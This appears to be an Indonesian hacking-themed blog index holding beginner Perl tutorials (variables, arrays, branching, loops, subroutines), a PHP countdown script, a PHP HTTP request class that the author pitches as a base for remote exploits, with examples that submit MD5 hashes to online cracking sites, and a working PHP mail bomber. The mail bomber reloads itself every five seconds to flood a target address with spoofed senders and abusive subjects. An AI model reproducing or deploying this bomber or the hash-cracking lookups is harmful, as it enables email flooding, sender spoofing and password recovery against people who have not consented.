FTP Anonymus Scan

Pernahkah anda menggunakan bahasa pemrograman perl lalu anda melakukan attacking? kali ini code security sedikit memberi informasi masalah hacking with perl, biasanya perl digunakan pada sebuah bot yang di jalankan dengan irc lalu kita bisa sesuka hati mengcompilernya, atau secara local saja untuk compilernya. lalu apa saja yang dapat kita eksekusi? setiap bot biasanya berbeda beda fungsi, sehingga kita bisa renofasi dengan sesuka hati kita. Bingung? mari kita belajar pada link berikut ini :

Click Here

06.42  K4C3 Undetected  No comments

Read More

Perl : Program pertama

Seperti ketika belajar bahasa pemrograman yang lain pertama-tama kita akan mencoba membuat program helloworld terlebih dahulu, seperti berikut :

#!/usr/bin/perl
# contoh program helloworld
# ini adalah baris komentar
# nama program : helloworld.pl 

print “helloworld !!!”;
print “selamat datang di perl”;

Bagaimana sangat simple bukan?
 Baris pertama adalah letak interpreter perl. Contoh diatas 
(#!usr/bin/perl) merupakan letak interpreter perl di unix/linux, jika 
anda menggunakan ms windows maka ubah sesuai path directory tempat anda 
menginstall perl. Pada kenya taannya anda bisa saja tidak menuliskan 
bari s tsb dan program tetap berjalan, namun ketika anda membuat script 
CGI maka bari s tersebut wajib dituliskan. Kemudian bari s kedua dari 
program diatas adalah bari s komentar, ya! komentar di perl ditandai 
dengan #, coba bedakan dengan baris pertama yang mana tanda # diikuti 
tanda !. Bari s yang dieksekusi oleh perl adalah bari s ke 4 dan 5, 
yaitu perintah print untuk menampilkan tulisan helloworld dan selamat 
datang di perl. 

Variabel di perl.... 

Variabel di perl ditandai dengan tanda $ , misalnya : $nama , $bilangan , dst. Seperti halnya pada bahasa pemrograman lain variabel di perl bersifat case-sensitive.

contoh penulisan variabel yang benar :

$Nama;
$X;
$nama_saya;
$nim1234;
$Hallo_123;

Tipe data skalar

Sedangkan untuk tipe data di perl terdapat dua jenis yaitu string dan numeric (kedua tipe ini dinamakan tipe skalar), hal ini mempermudah programmer perl karena kita tidak perlu lagi pusing memilih tipe data yang ingin digunakan di dalam program. Selain itu ketika membuat variabel kita tidak perlu menuliskan tipe data yang kita pakai, lalu bagaimana membedakan tipe string dan numeric? Untuk lebih jelas perhatikan contoh berikut :

#!/usr/bin/perl
# contoh variabel scalar di perl
# nama program : variabel.pl
# ini adalah contoh variabel yang bertipe string :


$nama = ”Kadek”;
$Hari = ‘senin';
$welcome_to = ”\n perl emang keren \n”;
$hello123 = ‘selamat datang di perl';

# sedangkan ini adalah contoh variabel bertipe numeric :

$hitung = 500;
$nomor_mahasiswa = 123040015;
$jumlah = 12;
$Hari_ke = 7;


print “$nama”;
print “$Hari”;
print “$welcome_to”;
print “$hello123”;
print “$hitung”;
print “$nomor_mahasiswa”;
print “$jumlah”;
print “$Hari_ke”;

Dari contoh diatas dapat disimpulkan bahwa variabel string ditandai dengan tanda petik tunggal(‘ ') dan petik dua/ganda (“ ”) , sedangkan untuk numeric langsung diisikan bilangan ke variabel tersebut tanpa tanda petik.

Apa bedanya petik tunggal dengan petik ganda ?

Bedanya petik tunggal tidak menghiraukan karakter karakter khusus seperti \n (newline), sedangkan petik ganda dapat membaca karakter khusus tersebut untuk lebih jelasnya kita coba saja dalam program.

#!/usr/bin/perl
# contoh program
# membedakan petik tunggal dan petik ganda
# nama program : tanda_petik.pl 

$a = "\nprogrammer\n"; # petik ganda
$b = '\nprogrammer\n'; # petik tunggal 

print "saya adalah $a";
print "\n"; # spasi
print 'saya adalah $b';
print "\n";

dengan kata lain petik tunggal akan menulis apa adanya , sedangkan petik ganda akan membaca karakter khusus.

06.40  K4C3 Undetected  No comments

Read More

Perl : Array dan operasinya

Array di perl ditandai dengan @ , array merupakan kumpulan dari veriabel variabel yang bertipe sama. Cara pengaksesannya menggunakan index mulai dari nol. Berikut contohnya

@hallo = (10,20,30,40,50);

Artinya kita mempunyai array dengan nama hallo yang mana terdapat 5 elemen yang semuanya bertipe numeric , yaitu index ke nol [0] adalah 10 , index ke satu [1] adalah 20 dan seterusnya.

Index ke nol array hallo[0] menyimpan nilai 10

Index ke satu array hallo[1] menyimpan nilai 20

Index ke dua array hallo[2] menyimpan nilai 30

Index ke tiga array hallo[3] menyimpan nilai 40

Index ke empat array hallo[4] menyimpan nilai 50

Contoh yang array bertipe string :

@family = (“bapak”,”ibu”,”kakak”,”adik”);

Index ke nol array family[0] menyimpan nilai string bapak

Index ke satu array family[1] menyimpan nilai string ibu

Index ke dua array family[2] menyimpan nilai string kakak

Index ke tiga array family[3] menyimpan nilai string adik

Keistimewaan array di perl, array dapat bertipe campuran yaitu string dan numeric. Berikut contohnya :

@campur = (12,4500,”mahal”,7600,”murah”,”hemat”);
@enak = (“makan”,”minum”,1000,2500,3000,”rupiah”);

Selain itu dapat juga digabungkan 2 array atau lebih, berikut contohnya :

@a = (1,2,3,4);
@b = (“satu”,”dua”,”tiga”,”empat”);
@c = (@a,5,@b,” lima ”);

Dengan demikian array @c berisi 1,2,3,4,5,”satu”,”dua”,”tiga”,”empat”,”lima”. Untuk mengetahui panjang suatu array gunakan perintah $#nama_array, misalnya :

@a = (1,2,3,4);
print “ $#a \n”;

Berikut contoh program yang menggunakan array :

#!/usr/bin/perl
# contoh penggunaan array di perl
# nama program : array.pl

@a=(1,2,3,4);
@b=("satu","dua","tiga","empat");
@c=(@a,5,@b,"enam"); 

print "index ketiga dari array a adalah @a[3]\n";
print "index pertama dari array a adalah @a[1]\n";
print "index kedua dari array a adalah @a[2]\n";
print "index ke-nol dari array a adalah @a[0]\n";

print "\n"; # spasi 

print "index ke-nol dari array b adalah @b[0]\n";
print "index ketiga dari array b adalah @b[3]\n";
print "index pertama dari array b adalah @b[1]\n";
print "index kedua dari array b adalah @b[2]\n";

print "\n";
print "panjang dari array c adalah $#c \n";
print "\n";

print "index ke-nol dari array c adalah @c[0]\n";
print "index pertama dari array c adalah @c[1]\n";
print "index kedua dari array c adalah @c[2]\n";
print "index ketiga dari array c adalah @c[3]\n";
print "index ke-empat dari array c adalah @c[4]\n";
print "index kelima dari array c adalah @c[5]\n";
print "index ke-enam dari array c adalah @c[6]\n";
print "index ketujuh dari array c adalah @c[7]\n";
print "index kedelapan dari array c adalah @c[8]\n";
print "index kesembilan dari array c adalah @c[9]\n";

print "\n";

print "semula index kesembilan dari array c adalah @c[9]\n";
@c[9]=" lima ";
print "sekarang index kesembilan dari array c adalah @c[9]\n"; 

06.37  K4C3 Undetected  No comments

Read More

Perl : Decision / selection / percabangan

Percabangan di perl terdapat dua jenis yaitu if dan unless. Pada if blok perintah akan dijalankan jika syarat atau kondisi di dalam if terpenuhi. Bentuk if di perl mirip seperti di bahasa c.

• if tunggal :

if(ekspresi_kondisi)
   {
    Perintah;
   } 

• if - else :

if(ekspresi_kondisi)
   {
    Perintah1;
   } 

else
  {
   Perintah 2;
   }

• if – elsif – else :

if(ekspresi_kondisi1)
   {
    Perintah1;
   } 

elsif(ekspresi_kondisi2)
   {
    Perintah2;
   } 

else
   {
    Perintah3;
   }

Contoh dalam program :

#!/usr/bin/perl
# contoh penggunaan percabangan if
# nama program : percabangan_if.pl

print "apakah anda senang membuat program ?\n";
print "jawaban anda (y/t): ";
$jawab=<STDIN>;
chomp($jawab); 

if($jawab eq "y") # if tunggal
     {
       print "anda memang programmer sejati\n";
     }

print "\n"; # spasi 

print "siapa nama anda?\n";
print "nama anda: ";
$nama=<STDIN>;
chomp($nama); 

if($nama eq "tony") # if-else
     {
     print "selamat datang tony !!!\n";
     } 
else
     {
      print "maaf, anda tidak dikenal\n";
     } 

print "\n"; 

print "berapa umur anda?\n";
print "umur anda: "
$umur=<STDIN>;
chomp($umur); 

if($umur <= 13) # if-elsif-else
    {
     print "anda masih anak anak \n"; 
    } 

elsif($umur <= 20) 
    { 
     print "anda masih remaja \n"; 
    } 

else 
    {
     print "anda sudah dewasa \n"; 
    } 

Sedangkan untuk unless kebalikan dari if yaitu perintah akan dijalankan jika kondisi tidak terpenuhi.

• unless tunggal

unless(ekspresi_kondisi)

{
Perintah;
} 

• unless - else

  unless(ekspresi_kondisi)

  {
  Perintah1;
  } 

  else 

  {
  Perintah2;
  } 

Contoh dalam program :

#!/usr/bin/perl
# contoh percabangan unless
# nama program : percabangan_unless.pl 

$spp="belum lunas";

unless($spp eq "lunas") # unless tunggal
{
print "anda belum bayar spp\n";
} 

print "\n"; # spasi
print "berapa jumlah sks yang sudah anda ambil ? \n";
print "sks anda : ";
$sks=<STDIN>;
chomp($sks); 

unless($sks > 100) # unless - else
{
print "anda belum boleh mengambil kerja praktek\n";
} 

else
{
print "anda sudah bisa mengambil kerja praktek\n";
} 

 

Looping / perulangan

Untuk mengulang suatu blok perintah digunakan perulangan. Perulangan di perl antara lain statemen for, foreach, while, do - while, until dan do - until. Untuk lebih jelasnya kita akan bahas satu per satu :

 

Perulangan for

For di perl sama seperti for di bahasa C/C++ maupun bahasa C like lainya. Bentuk unumnya adalah sebagai berikut :

for(keadaan awal ; syarat keadaan akhir ; increment/decrement)
   {
     daftar statement;
   } 

Perulangan foreach

Anda masih ingat dengan array? Bila tadi untuk statement for, pengulangan nya ditentukan berdasarkan inkrementasi, maka untuk statement foreach, pengulangannya ditentukan oleh jumlah anggota array. Anda masih ingat bukan bahwa jumlah anggota array dapat dihitung dengan menggunakan @array. Inilah yang digunakan sebagai pengendali bila anda membuat pengulangan dengan statement foreach

foreach $varname(array)
    {
      daftar statement;
    } 

  

Perulangan while

Berbeda dengan statement for dan foreach, statement while digunakan bila kita ingin mengendalikan proses pengulangan bukan berdasarkan jumlah pengulangannya , melainkan berdasarkan suatu syarat. Selama syarat tersebut masih terpenuhi, pengulangan akan terus berlangsung. Tetapi bila syarat tidak lagi terpenuhi, perulangan akan berhenti. 

while(ekspresi)
   {
    daftar statement;
   } 

Perulangan do - while

Statement do - while tidak jauh berbeda dengan statement while. Prinsip kerjanya sama, tetapi strukturnya adalah sebagai berikut : 

do {
    daftar statement;
    } while ekspresi; 

  

Perulangan until

Statement until juga menggunakan syarat tertentu sebagai pengendali pengulangan. Berbeda dengan statement while, pada statement until pengulangan justru dilakukan selama syarat tidak dipenuhi. Begitu syarat dipenuhi, pengulangan akan berakhir. Strukturnya sebagai berikut :

until(ekspresi)
   {
    daftar Statement;
   } 

Perulangan do - until

Statement do - until tidak berbeda fungsinya dengan statement until, oleh karena itu kita tidak akan membahasnya lebih jauh. Strukturnya sendiri adalah sebagai berikut :

do {
    daftar statement;
    } until ekspresi; 

06.34  K4C3 Undetected  No comments

Read More

Perl : Subrutin / fungsi

Subrutin merupakan sebuah potongan program yang dapat dipanggil berulang-ulang dan yang melakukan suatu operasi tertentu saja. Suatu subrutin akan memiliki sebuah nama, dan bisa menerima suatu parameter untuk operasinya dan dapat pula menghasilkan suatu nilai hasil dari operasinya. Untuk mendefinisikan suatu subrutin pada perl, dapat menggunakan sintak sebagai berikut :

Sub nama_subrutin
   {
    Perintah perintah;
  
    .................
   } 

Sedangkan untuk memanggil subrutin dapat digunakan beberapa cara antara lain :

nama_subrutin();


& nama_subrutin();

do nama_subrutin(); 

berikut contoh programnya :

#!/usr/bin/perl
# contoh penggunaan subrutin
# nama program : subrutin1.pl

##### pembuatan subrutin ######

sub selamat_datang{
print "selamat datang di perl\n";
print "perl is simple\n";
}

sub hallo{
print "hallo ,";
print "apa kabar ?";
}

sub spasi{
print "\n";
}

##### pemangilan subrutin ######

hallo();
spasi();
& hallo();
& spasi();
do selamat_datang();
do spasi(); 

06.30  K4C3 Undetected  No comments

Read More

HTTPQuery Script Example

What about httpquery script? Just a script to take queries over http. Make http request, post or get request to the web servers. It is usefull to create any remote exploit. Any request send by the httpquery. This example script can send request by GET method and POST method. I also give example how to use it. Lets coding!

<?php
#### HTTP QUERY by ArRay a.k.a XterM ####

/* define the httpquery functions */
function httpquery($method,$url,$data=''){
    $url = str_replace("http://","",$url);
    $host = explode("/",$url);
    if(eregi(":",$host[0])){
        $gport = explode(":",$host[0]);
    }
    $port = ($gport[1])?$gport[1]:80;
    for($i=1;$i<count($host);$i++){
        $path .= "/".$host[$i];
    }
    $sock = fsockopen($host[0],$port,$errno,$errstr,30);
    if ($sock) {
        $request   = (($method=='post')?"POST":"GET")." ".$path." HTTP/1.1\r\n";
        $request  .= "Host: ".$host[0]."\r\n";
        $request  .= "Referer: www.explorecrew.org\r\n";
        $request  .= "Accept: */*\r\n";
        $request  .= "User-Agent: NetExplorer/5.0\r\n";
        $request  .= ($method=='post')?"Content-type: application/x-www-form-urlencoded\r\n":"";
        $request  .= ($method=='post')?"Content-length: ".strlen($data)."\r\n":"";
        $request  .= "Connection: Close\r\n\r\n";
        fputs($sock,$request);
        if($method=='post')fputs($sock,$data);
        while (!feof($sock)) { 
            $output .= trim(fgets($sock, 3600))."\n";            
        }
        fclose($sock);
    }
    return $output;
}

/* example GET method */
function hashkiller($hash){
    $url = 'http://hashkiller.com/api/api.php?md5='.$hash;
    $data = httpquery('get',$url);
    $xp = explode("<plain>",$data); 
    $xp2 = explode("</plain>",$xp[1]);
    $pwd = $xp2[0];
    return $pwd;
}

/* example POST method */
function passcracking($hash){
    $url  = "http://passcracking.com/index.php";
    $post = 'datafromuser='.$hash.'&submit=DoIT';
    $data = httpquery('post',$url,$post);
    $xp = explode("</td><td bgcolor=#FF0000>",$data);
    $xp2 = explode("</td><td>",$xp[1]);
    $pwd = $xp2[0];
    if($pwd)return $pwd;
    return false;
}


$md5 = "abcdefabcdefabcdefabcdef";

print "hashkiller: ".hashkiller($md5)."<br>";
print "passcracking: ".passcracking($md5)."<br>";

?>

12.23  K4C3 Undetected  No comments

Read More

Class HTTP Query

in this example, i have create a class of httpquery. It script is very simple used.
Bellow is code:
(save as class.httprequest.php or etc you want)

<?php
#By ArRay Dec 2nd, 2010
class HTTPRequest {
 public $URL;
 public $POST   = false;
 public $GET    = true;
 public $Data;
 public $Port   = 80;
 public $Response;
 public $Referer  = "www.ExploreCrew.org";
 public $Accept  = "*/*";
 public $UserAgent = "NetExplorer/5.0";
 public $Connection = "Close";
 
 function Query(){
  $url = str_replace("http://","",$this->URL);
  $host = explode("/",$url);
  for($i=1;$i<count($host);$i++){
   $path .= "/".$host[$i];
  }
  if(!$this->POST) $path .= "?".$this->Data;
  $sock = @fsockopen($host[0],$this->Port,$errno,$errstr,30);
  if ($sock) {
   $request   = (($this->POST)?"POST":"GET")." ".$path." HTTP/1.1\r\n";
   $request  .= "Host: ".$host[0]."\r\n";
   $request  .= "Referer: ".$this->Referer."\r\n";
   $request  .= "Accept: ".$this->Accept."\r\n";
   $request  .= "User-Agent: ".$this->UserAgent."\r\n";
   $request  .= ($this->POST)?"Content-type: application/x-www-form-urlencoded\r\n":"";
   $request  .= ($this->POST)?"Content-length: ".strlen($this->Data)."\r\n":"";
   $request  .= "Connection: ".$this->Connection."\r\n\r\n";
   @fputs($sock,$request);
   if($this->POST)@fputs($sock,$this->Data);
   while (!@feof($sock)) { 
    $output .= @trim(@fgets($sock, 3600))."\n";            
   }
   @fclose($sock);
  }
  else {
   $output = "Can not connect to ".$host[0]." on port ".$this->Port;
  }
  $this->Response = $output;
 }
}
?>

Then, How to use it? See Example bellow.

# Using GET method

By default, this code is using get method. So it can used without no option.

<?php

include_once("class.httprequest.php");  //include class 

$http = new HTTPRequest; //create an object of httpquery
$http->URL = "www.your-site.com/action.php"; //page you want to request
$http->Data = "user=ArRay&id=4&val=zzz"; //a variable you want to send by GET method
$http->Query(); //do queries

if($http->Response){ //if request is done
 echo "done";
 echo $http->Response; // do it if you want to know the server response
}
exit;

?>

that queries same as:
http://www.your-site.com/action.php?user=ArRay&id=4&val=zzz



# Using POST method

to POST data to the server, just activate post method by add line bellow:

$http->POST = true;

then, all data you want to post, write in line. example:

Name=ArRay&Address=Kediri

it mean as:
Post variable Name with value ArRay
and variable Address with value Kediri

see example

<?php

include_once("class.httprequest.php");

$http = new HTTPRequest; 
$http->URL = "www.your-site.com/action.php"; 
$http->Data = "Name=ArRay&Address=Kediri"; //a variable you want to send by POST method
$http->POST = true;  // activate post method
$http->Query(); 

if($http->Response){ 
 echo "done";
 echo $http->Response; 
}
exit;

?>

sumber : Class HTTP Query

12.22  K4C3 Undetected  No comments

Read More

Mail Bomber dengan PHP (auto refresh)

Mungkin isi tulisan ini dah basi kali ya..., tapi gpp soalnya tulisan ini memang dibuat untuk yg pemula banget (dari, oleh, untuk yg pemula banget kayak gw).

Mungkin isi tulisan ini dah basi kali ya..., tapi gpp soalnya tulisan ini memang dibuat untuk yg pemula banget (dari, oleh, untuk yg pemula banget kayak gw). Di luar sana banyak sekali pilihan mail bomber yang langsung bisa di pake, tapi boleh dong gw buat yg laen :). Mail bomber ini mungkin agak njelimeti, soalnya gak ada formnya, gw males bikinnya :). Mail bomber ini dibuat menggunakan PHP dengan memanfaatkan auto refresh pada browser. Nah tau sendiri kan kelemahan kalo make auto refresh :).

Cuman satu hal yg gw suka dari mail bomber ini yaitu alamat pengirimnya bisa dibikin random alias gak hanya satu alamat pengirim. Eiittt satu lagi neh yg gw suka dari bomber ini, "jelek-jelek gini bikinin sendiri lho... hehehhe ". Akan lebih bagus lagi jika dibuatkan form + dibuatkan database untuk mail pengirim, mail tujuan, subject, serta isi mailnya. Monggo temen-temen yg lebih jago menyempurnakannya.

//--------------------S C R I P T -------------------//

<html>

<head>

<title>e-Mail PeranG!!!!</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<meta http-equiv="Refresh" content="5">

</head>

<body>

<?

$email = array ("gjoe@terserah.com", "yessy@terserah.com", "belle@terserah.com", "owner@terserah.com", "bonus@terserah.com", "hrd@terserah.com", "ghjg@terserah.com", "ouuu@terserah.com", "aslkd@terserah.com", "pqwoe@terserah.com", "kdjs@terserah.com", "owe@terserah.com", "elre@terserah.com", "pokwok@terserah.com", "dtdr@terserah.com", "mbvmnb@terserah.com", "assd@terserah.com",);

$email_semua = sizeof($email);

$email_pengirim = rand(0,$email_semua);

$subyek = array ("hi", "bonus", "award", "winner", "champion", "camp", "monitor", "red", "black", "blue", "red devil", "funny", "smile", "porn", "sites", "bullshit", "yes", "fuck off", "fuck u spammer", "what", "hmmmm",);

$subyek_semua = sizeof($subyek);

$subyek_email = rand(0,$subyek_semua);

$pengirim = "$email[$email_pengirim]";

$sasaran = "email@terserah.com";

$hal = "$subyek[$subyek_email]";

$pesan = "STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!! STOP SPAMMM!!!!!!";

mail ($sasaran, $hal, $pesan, "From:$pengirim");

?>

<body>

</html>

12.08  K4C3 Undetected  No comments

Read More

Hitung Mundur (PHP)

Mungkin kita sering melihat di situs-situs orang ada yg menampilkan waktu hitung mundur, misalnya 10 Hari Lagi Nyoblos Lho... :).

Mungkin kita sering melihat di situs-situs orang ada yg menampilkan waktu hitung mundur, misalnya 10 Hari Lagi Nyoblos Lho... :). Secara logika gak mungkin banget webmasternya mau repot-repot tiap hari bongkar script buat ngganti angka hehhehe.... Untuk kedua kalinya saya seidikit berbagi dengan rekan-rekan script hitung mundur yg dibuat dengan PHP.

//-------------------S C R I P T-----------------//

<?

//Untuk menyesuaikan waktu lokal dengan waktu server//

$GMT = (0 * 3600);

$hari_ini=date("d/m/Y - H:i:s", time() + $GMT);

//Tanggal hari ini//

$start = $hari_ini;

//Tanggal atau batas waktu yang ditentukan//

$end = "22/12/2004";

$awal = "$start";

$akhir = "$end";

$hari_awal = substr($awal, 3,2);

$bulan_awal = substr($awal, 0,2);

$tahun_awal = substr($awal, 6,4);

$hari_akhir = substr($akhir, 3,2);

$bulan_akhir = substr($akhir, 0,2);

$tahun_akhir = substr($akhir, 6,4);

$tanggal_awal = mktime(0, 0, 0, $hari_awal, $bulan_awal, $tahun_awal);

$tanggal_akhir = mktime(0, 0, 0, $hari_akhir, $bulan_akhir, $tahun_akhir);

$hasil_awal = $tanggal_awal;

for ($hw=$tanggal_awal; $hw<=$tanggal_akhir; $hw+=86400) {

if ($hasil_awal==" ") {

$hasil_awal = $hw;

}

}

$hasil_akhir = $hw;

//Menghitung Total Waktu//

$jumlah_hari = ((($hasil_akhir-$hasil_awal) / 86400)-1);

echo "$jumlah_hari";

?>

12.02  K4C3 Undetected  No comments

Read More